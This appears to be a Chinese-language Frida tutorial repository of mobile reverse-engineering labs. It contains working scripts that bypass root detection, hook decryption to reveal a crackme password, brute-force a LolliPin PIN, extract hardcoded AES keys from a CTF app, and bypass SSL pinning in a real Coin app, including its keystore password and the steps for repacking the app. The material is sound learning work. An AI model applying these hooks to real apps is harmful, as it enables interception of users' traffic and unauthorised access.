├── .gitignore ├── 3. Root_detection_hook_password ├── README.md ├── UnCrackable-Level1.apk ├── exploit1.js ├── exploit2.js ├── mainactivity.png ├── ok_button.png ├── root_detection.png ├── verify-1.png └── verify.png ├── 4. brute_force_pin ├── README.md ├── actual-implementation.png ├── checkpasscode-1.png ├── checkpasscode.png ├── exploit.py ├── localstorage.png ├── lollipin.apk └── mLockManager.png ├── 5. introduction_to_frida_macos ├── README.md └── poc.c ├── 6. get_encryption_key ├── README.md ├── app-release-apk.pwn.seccon.jp-v1.3.apk ├── burp.png ├── exploit.js ├── exploit.py ├── kr_repo_h2spice_yekehtmai_c.png ├── main_activity.png ├── packages.png └── replicate.py ├── 7. ssl_pinning_bypass ├── README.md ├── bcprov-jdk15on-156.jar ├── burp.cer ├── coincert.bks ├── com.onlycoin.android.apk ├── com.onlycoin.android_2016-09-03-repack.apk ├── example.keystore ├── exploit.py ├── jadx-gui_-_com_onlycoin_android.png └── sslpinning.png ├── 8. staples └── app.staples-2.apk └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | .AppleDouble 3 | .LSOverride 4 | 5 | # Icon must end with two \r 6 | Icon 7 | 8 | 9 | # Thumbnails 10 | ._* 11 | 12 | # Files that might appear in the root of a volume 13 | .DocumentRevisions-V100 14 | .fseventsd 15 | .Spotlight-V100 16 | .TemporaryItems 17 | .Trashes 18 | .VolumeIcon.icns 19 | .com.apple.timemachine.donotpresent 20 | 21 | # Directories potentially created on remote AFP share 22 | .AppleDB 23 | .AppleDesktop 24 | Network Trash Folder 25 | Temporary Items 26 | .apdisk 27 | -------------------------------------------------------------------------------- /3. Root_detection_hook_password/README.md: -------------------------------------------------------------------------------- 1 | ## APK 2 | 3 | Download [here](https://github.com/OWASP/owasp-mstg/tree/master/OMTG-Files/02_Crackmes/01_Android/Level_01) 4 | 5 | ## Ref 6 | 7 | - [Hacking Android apps with FRIDA I](https://www.codemetrix.net/hacking-android-apps-with-frida-1/) 8 | - [Hacking Android apps with FRIDA II](https://www.codemetrix.net/hacking-android-apps-with-frida-2/) 9 | 10 | 11 | 12 | Hacking Android apps with FRIDA ([I](https://www.codemetrix.net/hacking-android-apps-with-frida-1/), [II](https://www.codemetrix.net/hacking-android-apps-with-frida-2/)). Post分为两 Part. 第一 Part 是笔者找到的对于 frida 基本功能介绍得最深刻的文章. 第二 Part 介绍了 Root Detection Bypass, 和 hook the password. 13 | 14 | 1. 由于是 android app 的关系, 入手的第一步都是先反编译, 获取 source code, 找寻有价值的代码. 15 | 2. Class - `sg.vantagepoint.a.c`中b()的 implementation 正是root Detection的代码. 16 | 3. 利用[JAVA API](https://www.frida.re/docs/javascript-api/#java) 改写onClick implementation, 逃避root Detection 17 | 4. 获得Decryption的代码, 尽管已被 obfuscated, 但是我们并不需要研究它是如何实行, 只需要利用 frida hook `sg.vantagepoint.a.a.a` function, catch its return value. 18 | 19 | 20 | ---- 21 | 22 | ## Source Code 23 | 24 | App 有三个 sub function 去 check 是否 root 了. 一旦检测到root, 就会 call `a('Root detected.')`. `a('Root detected.')`会生成一个 dialogue box, 具体实现就看`uncrackable1.b`. 25 | ![](mainactivity.png) 26 | ![](root_detection.png) 27 | 28 | 可以看到`b.onClick()`要做得就是 exit app. 29 | ![](ok_button.png) 30 | 31 | 32 | 33 | ## Bypass Root Detection 34 | 35 | 我们可以将三个 root detection 的 sub function 都用frida 修改其 implementation, 使其返回 true. 我们也可以直接修改`uncrackable1.b.onClick()`, 让其不要退出 app. 明显后者, 更简单. 36 | 37 | ```javascript 38 | setImmediate(function() { //prevent timeout 39 | console.log("[*] Starting script"); 40 | 41 | Java.perform(function() { 42 | 43 | bClass = Java.use("sg.vantagepoint.uncrackable1.b"); 44 | bClass.onClick.implementation = function(v) { 45 | console.log("[*] onClick called"); 46 | } 47 | console.log("[*] onClick handler modified") 48 | 49 | }) 50 | }) 51 | 52 | ``` 53 | 54 | ## Decrypt Password 55 | 56 | 可以看到`a.a(obj)`校验 input, 假如正确就返回 success. 57 | ![](verify.png) 58 | 59 | 下面我们看看`a.a(obj)`的实际 implementation. 60 | ![](verify-1.png) 61 | 62 | 假如我们知道arrayOfByte1或者 arrayOfByte2, 我们就知道 flag. 63 | 64 | 利用 frida 修改 `sg.vantagepoint.a.a.a`的 implementation. 65 | 66 | ```javascript 67 | aaClass = Java.use("sg.vantagepoint.a.a"); 68 | aaClass.a.implementation = function(arg1, arg2) { 69 | retval = this.a(arg1, arg2); 70 | password = '' 71 | for(i = 0; i < retval.length; i++) { 72 | password += String.fromCharCode(retval[i]); 73 | } 74 | 75 | console.log("[*] Decrypted: " + password); 76 | return retval; 77 | } 78 | ``` 79 | 80 | ```bash 81 | $ frida -U -l exploit1.js sg.vantagepoint.uncrackable1 82 | ``` 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /3. Root_detection_hook_password/UnCrackable-Level1.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/3. Root_detection_hook_password/UnCrackable-Level1.apk -------------------------------------------------------------------------------- /3. Root_detection_hook_password/exploit1.js: -------------------------------------------------------------------------------- 1 | setImmediate(function() { //prevent timeout 2 | console.log("[*] Starting script"); 3 | 4 | Java.perform(function() { 5 | 6 | bClass = Java.use("sg.vantagepoint.uncrackable1.b"); 7 | bClass.onClick.implementation = function(v) { 8 | console.log("[*] onClick called"); 9 | } 10 | console.log("[*] onClick handler modified") 11 | 12 | }) 13 | }) 14 | -------------------------------------------------------------------------------- /3. Root_detection_hook_password/exploit2.js: -------------------------------------------------------------------------------- 1 | setImmediate(function() { 2 | console.log("[*] Starting script"); 3 | 4 | Java.perform(function() { 5 | 6 | bClass = Java.use("sg.vantagepoint.uncrackable1.b"); 7 | bClass.onClick.implementation = function(v) { 8 | console.log("[*] onClick called."); 9 | } 10 | console.log("[*] onClick handler modified") 11 | 12 | 13 | aaClass = Java.use("sg.vantagepoint.a.a"); 14 | aaClass.a.implementation = function(arg1, arg2) { 15 | retval = this.a(arg1, arg2); 16 | password = '' 17 | for(i = 0; i < retval.length; i++) { 18 | password += String.fromCharCode(retval[i]); 19 | } 20 | 21 | console.log("[*] Decrypted: " + password); 22 | return retval; 23 | } 24 | console.log("[*] sg.vantagepoint.a.a.a modified"); 25 | 26 | 27 | }); 28 | 29 | }); 30 | 31 | 32 | -------------------------------------------------------------------------------- /3. Root_detection_hook_password/mainactivity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/3. Root_detection_hook_password/mainactivity.png -------------------------------------------------------------------------------- /3. Root_detection_hook_password/ok_button.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/3. Root_detection_hook_password/ok_button.png -------------------------------------------------------------------------------- /3. Root_detection_hook_password/root_detection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/3. Root_detection_hook_password/root_detection.png -------------------------------------------------------------------------------- /3. Root_detection_hook_password/verify-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/3. Root_detection_hook_password/verify-1.png -------------------------------------------------------------------------------- /3. Root_detection_hook_password/verify.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/3. Root_detection_hook_password/verify.png -------------------------------------------------------------------------------- /4. brute_force_pin/README.md: -------------------------------------------------------------------------------- 1 | ## APK 2 | 3 | Build from [github](https://github.com/OrangeGangsters/LolliPin) 4 | 5 | ## Ref 6 | http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html 7 | 8 | ---- 9 | 10 | ## Local Storage 11 | 12 | ![](localstorage.png) 13 | 14 | PIN code 被加密存放. 15 | 16 | ## Source Code 17 | 18 | ![](checkpasscode-1.png) 19 | ![](checkpasscode.png) 20 | 21 | ![](actual-implementation.png) 22 | 23 | 关键就是这一句 24 | 25 | ```java 26 | 27 | // com.github.orangegangsters.lollipin.lib.managers.AppLockActivity:282 28 | this.mLockManager.getAppLock().checkPasscode(this.mPinCode) 29 | ``` 30 | 31 | 再看mLockManager 是如何获得的. 32 | 33 | ![](mLockManager.png) 34 | 35 | 36 | ## Exploit 37 | 38 | 于是我们的 frida exploit 就可以利用以下的 js payload进行暴力破解. 39 | 40 | ```javascript 41 | Java.perform(function () { 42 | 43 | var LockManager = Java.use("com.github.orangegangsters.lollipin.lib.managers.LockManager"); 44 | var LockManagerInstance = LockManager.getInstance(); 45 | var AppLock = LockManagerInstance.getAppLock(); 46 | 47 | for(var i=1230; i<1235; i++) 48 | { 49 | var result = AppLock.checkPasscode(i+""); 50 | send(i + ": " + result); 51 | } 52 | }); 53 | ``` 54 | ## 后记 55 | 56 | 这个apk跟[hacking-android-apps-with-frida-2](https://www.codemetrix.net/hacking-android-apps-with-frida-2/)不一样. [hacking-android-apps-with-frida-2](https://www.codemetrix.net/hacking-android-apps-with-frida-2/) 由于是一个 crackme, 密码已写进 binary 中, 通过改写程序的 implementation, 让其自动打印个密码. 57 | 58 | 这个例子不是 crackme, 不需要写进 binary, 相反, 它是把用户定义的PIN加密后储存在 Local Storage. 由于是加密的, 计算打印出来也没用, 因为你要输入的是加密前的 PIN, 不是加密后的 PIN. -------------------------------------------------------------------------------- /4. brute_force_pin/actual-implementation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/4. brute_force_pin/actual-implementation.png -------------------------------------------------------------------------------- /4. brute_force_pin/checkpasscode-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/4. brute_force_pin/checkpasscode-1.png -------------------------------------------------------------------------------- /4. brute_force_pin/checkpasscode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/4. brute_force_pin/checkpasscode.png -------------------------------------------------------------------------------- /4. brute_force_pin/exploit.py: -------------------------------------------------------------------------------- 1 | # LolliPin bruteforce proof of concept 2 | # Author: Dominic Chell - @domchell 3 | 4 | import frida,sys 5 | 6 | def print_result(message): 7 | print "[*] Testing PIN %s" %(message) 8 | 9 | def on_message(message, data): 10 | print_result(message['payload']) 11 | 12 | jscode = """ 13 | 14 | Java.perform(function () { 15 | 16 | var LockManager = Java.use("com.github.orangegangsters.lollipin.lib.managers.LockManager"); 17 | var LockManagerInstance = LockManager.getInstance(); 18 | var AppLock = LockManagerInstance.getAppLock(); 19 | 20 | for(var i=1230; i<1235; i++) 21 | { 22 | var result = AppLock.checkPasscode(i+""); 23 | send(i + ": " + result); 24 | } 25 | }); 26 | """ 27 | 28 | process = frida.get_usb_device(1).attach("com.github.orangegangsters.lollipin") 29 | 30 | script = process.create_script(jscode) 31 | script.on('message', on_message) 32 | 33 | print "[*] Bruteforcing PIN code" 34 | 35 | script.load() 36 | sys.stdin.read() 37 | 38 | -------------------------------------------------------------------------------- /4. brute_force_pin/localstorage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/4. brute_force_pin/localstorage.png -------------------------------------------------------------------------------- /4. brute_force_pin/lollipin.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/4. brute_force_pin/lollipin.apk -------------------------------------------------------------------------------- /4. brute_force_pin/mLockManager.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/4. brute_force_pin/mLockManager.png -------------------------------------------------------------------------------- /5. introduction_to_frida_macos/README.md: -------------------------------------------------------------------------------- 1 | [Introducción a Frida - SecurityInside.info](http://securityinside.info/introduccion-a-frida/) 西班牙文([Google Translate](https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=http%3A%2F%2Fsecurityinside.info%2Fintroduccion-a-frida%2F&edit-text=)). 2 | 3 | 典型的crackme. 有别于 mobile, 它利用内存地址, 不是很看得懂. 4 | 5 | 6 | ## Built Binary 7 | 8 | ```bash 9 | gcc poc.c 10 | ``` 11 | 12 | 13 | ## R2 Analysis 14 | ```bash 15 | ➜ frida-learning rabin2 -s ./poc 16 | [Symbols] 17 | vaddr=0x100000000 paddr=0x00000000 ord=000 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=__mh_execute_header 18 | vaddr=0x100000dd0 paddr=0x00000dd0 ord=001 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=_encrypt_arg 19 | vaddr=0x100000e60 paddr=0x00000e60 ord=002 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=_main 20 | vaddr=0x100000f1a paddr=0x00000f1a ord=003 fwd=NONE sz=0 bind=LOCAL type=FUNC name=imp.printf 21 | vaddr=0x100000f20 paddr=0x00000f20 ord=004 fwd=NONE sz=0 bind=LOCAL type=FUNC name=imp.scanf 22 | vaddr=0x100000f26 paddr=0x00000f26 ord=005 fwd=NONE sz=0 bind=LOCAL type=FUNC name=imp.srand 23 | vaddr=0x100000f2c paddr=0x00000f2c ord=006 fwd=NONE sz=0 bind=LOCAL type=FUNC name=imp.strcmp 24 | vaddr=0x100000f32 paddr=0x00000f32 ord=007 fwd=NONE sz=0 bind=LOCAL type=FUNC name=imp.strlen 25 | vaddr=0x100000f38 paddr=0x00000f38 ord=008 fwd=NONE sz=0 bind=LOCAL type=FUNC name=imp.time 26 | vaddr=0x100000dd0 paddr=0x00000dd0 ord=009 fwd=NONE sz=0 bind=LOCAL type=FUNC name=func.100000dd0 27 | vaddr=0x100000e60 paddr=0x00000e60 ord=010 fwd=NONE sz=0 bind=LOCAL type=FUNC name=func.100000e60 28 | ``` 29 | 30 | ``` 31 | // ps 查看 PID 32 | ➜ ps 33 | PID TTY TIME CMD 34 | 17013 ttys001 0:00.03 /Applications/iTerm.app/Contents/MacOS/iTerm2 --server login -fp its 35 | 17015 ttys001 0:00.51 -zsh 36 | 20605 ttys001 0:00.00 ./poc 37 | 15460 ttys002 0:00.03 /Applications/iTerm.app/Contents/MacOS/iTerm2 --server login -fp its 38 | 15462 ttys002 0:00.45 -zsh 39 | 18074 ttys003 0:00.03 /Applications/iTerm.app/Contents/MacOS/iTerm2 --server login -fp its 40 | 18076 ttys003 0:00.74 -zsh 41 | 20378 ttys003 0:00.04 r2 ./poc 42 | 20007 ttys004 0:00.03 /Applications/iTerm.app/Contents/MacOS/iTerm2 --server login -fp its 43 | 20009 ttys004 0:00.33 -zsh 44 | 45 | ``` -------------------------------------------------------------------------------- /5. introduction_to_frida_macos/poc.c: -------------------------------------------------------------------------------- 1 | // include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | char * encrypt_arg(char *data) 8 | { 9 | int key; 10 | 11 | srand(time(NULL)); 12 | 13 | key = '='; 14 | 15 | for (int i = 0; i < strlen(data); i++) 16 | { 17 | data[i] = data[i] ^ key; 18 | } 19 | 20 | return data; 21 | } 22 | 23 | int main(int argc, char *argv[]) 24 | { 25 | int i = 0; 26 | char *data; 27 | char buffer[10]; 28 | char password[10]; 29 | 30 | while(1){ 31 | 32 | printf("Password: "); 33 | 34 | scanf("%10s", password); 35 | 36 | buffer[7] = 'd'; 37 | buffer[3] = 'I'; 38 | buffer[8] = 'e'; 39 | buffer[0] = 'S'; 40 | buffer[9] = '\0'; 41 | buffer[1] = 'e'; 42 | buffer[4] = 'n'; 43 | buffer[6] = 'i'; 44 | buffer[2] = 'c'; 45 | buffer[5] = 's'; 46 | 47 | data = encrypt_arg(password); 48 | 49 | if (strcmp(data,buffer) != 0) 50 | { 51 | printf("Nice try, but nope\n"); 52 | } 53 | else 54 | { 55 | printf("Yey!\n"); 56 | } 57 | } 58 | 59 | return 0; 60 | } -------------------------------------------------------------------------------- /6. get_encryption_key/README.md: -------------------------------------------------------------------------------- 1 | # 6. Get Encryption Key 2 | 3 | ## APK 4 | 5 | [Github](https://github.com/ctfs/write-ups-2015/blob/master/seccon-quals-ctf-2015/unknown/reverse-engineering-android-apk-2/app-release-apk.pwn.seccon.jp-v1.3.apk) 6 | 7 | ## Ref 8 | 9 | https://cedricvb.be/post/seccon-2015-reverse-engineering-android-apk-2-400-writeup/ 10 | 11 | ---- 12 | 13 | ## Burp 14 | 15 | ![](burp.png) 16 | 17 | ## Source code 18 | 19 | The app is obfuscated using simple name mangling. 20 | 21 | ![](packages.png) 22 | ![](main_activity.png) 23 | 24 | 假如未 Login, 就显示两个 input field, 否则 start WelcomeActivity. 25 | 26 | ```java 27 | 28 | // kr.repo.h2spice.yekehtmai.p 29 | // this.g.a() -> this.p.a() 30 | 31 | public boolean a() { 32 | return this.a.getBoolean("isLoggedIn", false); 33 | } 34 | ``` 35 | 36 | The AES key is not statically stored in the application but is obfuscated using a ton of other “encoding/encryption” routines. 37 | 38 | ![](kr_repo_h2spice_yekehtmai_c.png) 39 | 40 | ## Solution 41 | 42 | Use dynamic instrumentation. 43 | 44 | ```bash 45 | frida -U kr.repo.h2spice.yekehtmai 46 | ``` 47 | 48 | 49 | ```javascript 50 | Java.perform(function () { 51 | var c = Java.use("kr.repo.h2spice.yekehtmai.c") 52 | c.a.implementation = function (str1, str2) { 53 | console.log("String1: " + str1) 54 | console.log("String2: " + str2) 55 | } 56 | }); 57 | ``` 58 | 59 | 60 | 61 | 62 | ## Alternative Solution 63 | 64 | 1. attach a debugger, inject some smali code. 65 | 66 | It would involve decompiling the APK to smali with APKtool, then repackaging the APK with debug information, and running the app via an IDE in debug mode. Injecting smali code would also require me to repackage the APK. 67 | 68 | Ref: [Home of the gn00bz](http://gnoobz.com/seccon-online-ctf-2015-reverse-engineering-android-apk-2.html) 69 | 70 | ## Ref 71 | - [Home of the gn00bz](http://gnoobz.com/seccon-online-ctf-2015-reverse-engineering-android-apk-2.html) 72 | - [SECCON CTF 2015 - APK2 · blukat29](https://blukat29.github.io/2015/12/seccon-ctf-2015-apk2/) 73 | - [SECCON 2015 – Reverse engineering Android APK 2 – 400 writeup – Cedric's Cruft](https://cedricvb.be/post/seccon-2015-reverse-engineering-android-apk-2-400-writeup/) 74 | -------------------------------------------------------------------------------- /6. get_encryption_key/app-release-apk.pwn.seccon.jp-v1.3.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/6. get_encryption_key/app-release-apk.pwn.seccon.jp-v1.3.apk -------------------------------------------------------------------------------- /6. get_encryption_key/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/6. get_encryption_key/burp.png -------------------------------------------------------------------------------- /6. get_encryption_key/exploit.js: -------------------------------------------------------------------------------- 1 | Java.perform(function () { 2 | var c = Java.use("kr.repo.h2spice.yekehtmai.c") 3 | c.a.implementation = function (str1, str2) { 4 | console.log("String1: " + str1) 5 | console.log("String2: " + str2) 6 | } 7 | }); -------------------------------------------------------------------------------- /6. get_encryption_key/exploit.py: -------------------------------------------------------------------------------- 1 | import frida,sys 2 | 3 | def print_result(message): 4 | print "[*] Decrypting AES %s" %(message) 5 | 6 | def on_message(message, data): 7 | # print_result(message['payload']) 8 | # print "%s" %(message) 9 | print("[*] {0}".format(message)) 10 | 11 | # Has errors, not sure why. 12 | 13 | jscode = """ 14 | Java.perform(function () { 15 | 16 | var c = Java.use("kr.repo.h2spice.yekehtmai.c") 17 | c.a.implementation = function (str1, str2) { 18 | 19 | send("String1: " + str1) 20 | send("String2: " + str2) 21 | this.onResume(); 22 | 23 | } 24 | 25 | }); 26 | 27 | """ 28 | 29 | process = frida.get_usb_device(1).attach("kr.repo.h2spice.yekehtmai") 30 | 31 | script = process.create_script(jscode) 32 | script.on('message', on_message) 33 | 34 | print "[*] Decrypting AES Key" 35 | 36 | script.load() 37 | sys.stdin.read() 38 | 39 | -------------------------------------------------------------------------------- /6. get_encryption_key/kr_repo_h2spice_yekehtmai_c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/6. get_encryption_key/kr_repo_h2spice_yekehtmai_c.png -------------------------------------------------------------------------------- /6. get_encryption_key/main_activity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/6. get_encryption_key/main_activity.png -------------------------------------------------------------------------------- /6. get_encryption_key/packages.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/6. get_encryption_key/packages.png -------------------------------------------------------------------------------- /6. get_encryption_key/replicate.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto import Random 3 | import requests 4 | 5 | BS = 16 6 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 7 | unpad = lambda s : s[0:-ord(s[-1])] 8 | 9 | def decrypt(s, k): 10 | cipher = AES.new(k, AES.MODE_ECB) 11 | pt = cipher.decrypt(s) 12 | return unpad(pt) 13 | 14 | def encrypt(s, k): 15 | cipher = AES.new(k, AES.MODE_ECB) 16 | ct = cipher.encrypt(pad(s)) 17 | return ct 18 | 19 | logink = "3246847986364861" 20 | regk = "9845674983296465" 21 | 22 | def login(email, password): 23 | data = { 24 | 'password': encrypt(password, logink).encode('base64').rstrip('\n'), 25 | 'email': encrypt(email, logink).encode('base64').rstrip('\n') 26 | } 27 | return data 28 | 29 | 30 | print login("test@gmail.com", "test") 31 | -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/README.md: -------------------------------------------------------------------------------- 1 | ## APK 2 | Download from GooglePlay 3 | 4 | ## Ref 5 | 6 | http://rotlogix.com/2015/09/13/defeating-ssl-pinning-in-coin-for-android/ 7 | 8 | ---- 9 | 10 | ## Source Code 11 | 12 | 利用 JadxGUI 查看 APK的 code. 发现关于 SSLPinning的 code在`com.onlycoin.android.secure.SSLPinning`. 13 | 14 | Pinning的 certificate 存在于Bouncy Castle key store 中. 15 | ![](sslpinning.png) 16 | 17 | > BKS is a keystore format provided by the popular third party Java cryptographic library provider -- BouncyCastle. It is a keystore similar to the JKS provided by Oracle JDK. 18 | 19 | App 会先把 BKS 中的 certificate 全部 load出来 (`this.a()`),然后再调用`CompositeX509TrustManager` class 的`checkClientTrusted` 和 `checkServerTrusted`判断现时使用的 certificate是否包含其中. 20 | 21 | 22 | ![](jadx-gui_-_com_onlycoin_android.png) 23 | 24 | 25 | 26 | 将SSLPinning的function - `a(Context context, String[] strArr, String str)`中所需的三个参数 print 出来, 由此我们可以获得 bks, 以及其 password. 27 | 28 | ## Exploit 29 | 30 | 31 | ```bash 32 | ➜ ssl_pinning_bypass python exploit.py 33 | [*] SSLPinning 34 | [*] com.onlycoin.android.CoinApplication@40e5333 35 | [*] coincert.bks,coincert_new.bks,coincert_amz.bks 36 | [*] laggardness287{satisfactoriness 37 | {u'columnNumber': 1, u'description': u"Error: Implementation for a expected return value compatible with 'javax.net.ssl.SSLSocketFactory'.", u'fileName': u'input', u'lineNumber': 1, u'type': u'error', u'stack': u"Error: Implementation for a expected return value compatible with 'javax.net.ssl.SSLSocketFactory'.\n at a (input:1)"} 38 | 'payload' 39 | ``` 40 | 41 | 42 | ## Post-Exploit 43 | 44 | 将 APK 解压, 搜索得知 bks文件存在于`apk_unzip/assets`. 45 | 46 | ```bash 47 | ➜ ssl_pinning_bypass find . -name *.bks 48 | ./apk_unzip/assets/coincert.bks 49 | ./apk_unzip/assets/coincert_amz.bks 50 | ./apk_unzip/assets/coincert_new.bks 51 | ``` 52 | 53 | 查看 bks 里面包含什么. 54 | 55 | > `bcprov-jdk15on-156.jar`, 下载地址: https://www.bouncycastle.org/latest_releases.html 56 | > 57 | > Ref: https://goo.gl/eWhzTS 58 | 59 | ```bash 60 | ➜ ssl_pinning_bypass keytool -list -v -keystore ./apk_unzip/assets/coincert.bks -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath "bcprov-jdk15on-156.jar" -storetype BKS -storepass "laggardness287{satisfactoriness" 61 | 62 | Keystore type: BKS 63 | Keystore provider: BC 64 | 65 | Your keystore contains 1 entry 66 | 67 | Alias name: ca 68 | Creation date: Apr 15, 2016 69 | Entry type: trustedCertEntry 70 | 71 | Owner: C=US,PostalCode=94107,ST=CA,L=San Francisco,STREET=185 Berry St\, Suite 1510,O=Coin Inc,OU=PremiumSSL Wildcard,CN=*.coin.vc 72 | Issuer: C=GB,ST=Greater Manchester,L=Salford,O=COMODO CA Limited,CN=COMODO RSA Organization Validation Secure Server CA 73 | Serial number: 118778e14b7c10d64dca229ea0bbbf3d 74 | Valid from: Wed Mar 11 08:00:00 CST 2015 until: Mon May 09 07:59:59 CST 2016 75 | Certificate fingerprints: 76 | MD5: C3:D3:BF:18:AA:9C:B6:87:7A:54:EE:F1:B9:CD:F2:E1 77 | SHA1: C0:4D:2C:4A:64:4D:45:DF:CB:22:76:24:56:23:86:95:A3:AF:7E:44 78 | SHA256: 48:EB:AE:3E:FA:DA:5A:01:D8:4F:5E:FD:2B:D5:81:F8:CA:A4:AD:0F:52:01:50:5E:5F:17:E4:5B:56:E9:99:37 79 | Signature algorithm name: SHA256WITHRSA 80 | Version: 3 81 | 82 | 83 | ******************************************* 84 | ******************************************* 85 | ``` 86 | 87 | 我们要做的就是将 Burp 的 certificate加入其中. 88 | 89 | > Ref: https://goo.gl/ieS2xY 90 | > 91 | > `keytool -importcert -v -trustcacerts -file "my_certificate_pathmy_certificate.cer" -alias myAlias -keystore "my_keystore_path/mykeystore.bks" -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath "provider_path/bcprov-jdkxx-xxx.jar" -storetype BKS -storepass "my_password"` 92 | 93 | ```bash 94 | $ keytool -importcert -v -trustcacerts -file /path/to/burp.cer -providerpath /path/to/bcprov-jdk15on-156.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storetype BKS -keystore /path/to/coincert.bks 95 | ``` 96 | 97 | 然后再 repack App, 重新安装即可. 98 | 99 | 100 | -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/bcprov-jdk15on-156.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/bcprov-jdk15on-156.jar -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/burp.cer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/burp.cer -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/coincert.bks: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/coincert.bks -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/com.onlycoin.android.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/com.onlycoin.android.apk -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/com.onlycoin.android_2016-09-03-repack.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/com.onlycoin.android_2016-09-03-repack.apk -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/example.keystore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/example.keystore -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/exploit.py: -------------------------------------------------------------------------------- 1 | # Written by rotlogix & lavalamp 2 | # 3 | # 4 | import frida 5 | import sys 6 | from subprocess import Popen 7 | 8 | def on_message(message, data): 9 | try: 10 | if message: 11 | print("[*] {0}".format(message["payload"])) 12 | except Exception as e: 13 | print(message) 14 | print(e) 15 | 16 | def do_ssl(): 17 | 18 | ssl = """ 19 | Java.perform(function () { 20 | var SSLPinning = Java.use("com.onlycoin.android.secure.SSLPinning"); 21 | SSLPinning.a.overload("android.content.Context", "[Ljava.lang.String;", "java.lang.String").implementation = function (c, s, ss) { 22 | 23 | send("SSLPinning"); 24 | send(c.toString()); 25 | send(s.toString()); 26 | send(ss.toString()); 27 | this.a.overload("android.content.Context", "[Ljava.lang.String;", "java.lang.String").call(this, c, s, ss); 28 | 29 | }; 30 | }); 31 | """ 32 | return ssl 33 | 34 | if __name__ == "__main__": 35 | try: 36 | # Popen(["adb forward tcp:27042 tcp:27042"], shell=True).wait() 37 | process = frida.get_usb_device(1).attach("com.onlycoin.android") 38 | script = process.create_script(do_ssl()) 39 | script.on('message', on_message) 40 | script.load() 41 | sys.stdin.read() 42 | except KeyboardInterrupt as e: 43 | sys.exit(0) -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/jadx-gui_-_com_onlycoin_android.png: -------------------------------------------------------------------------------- 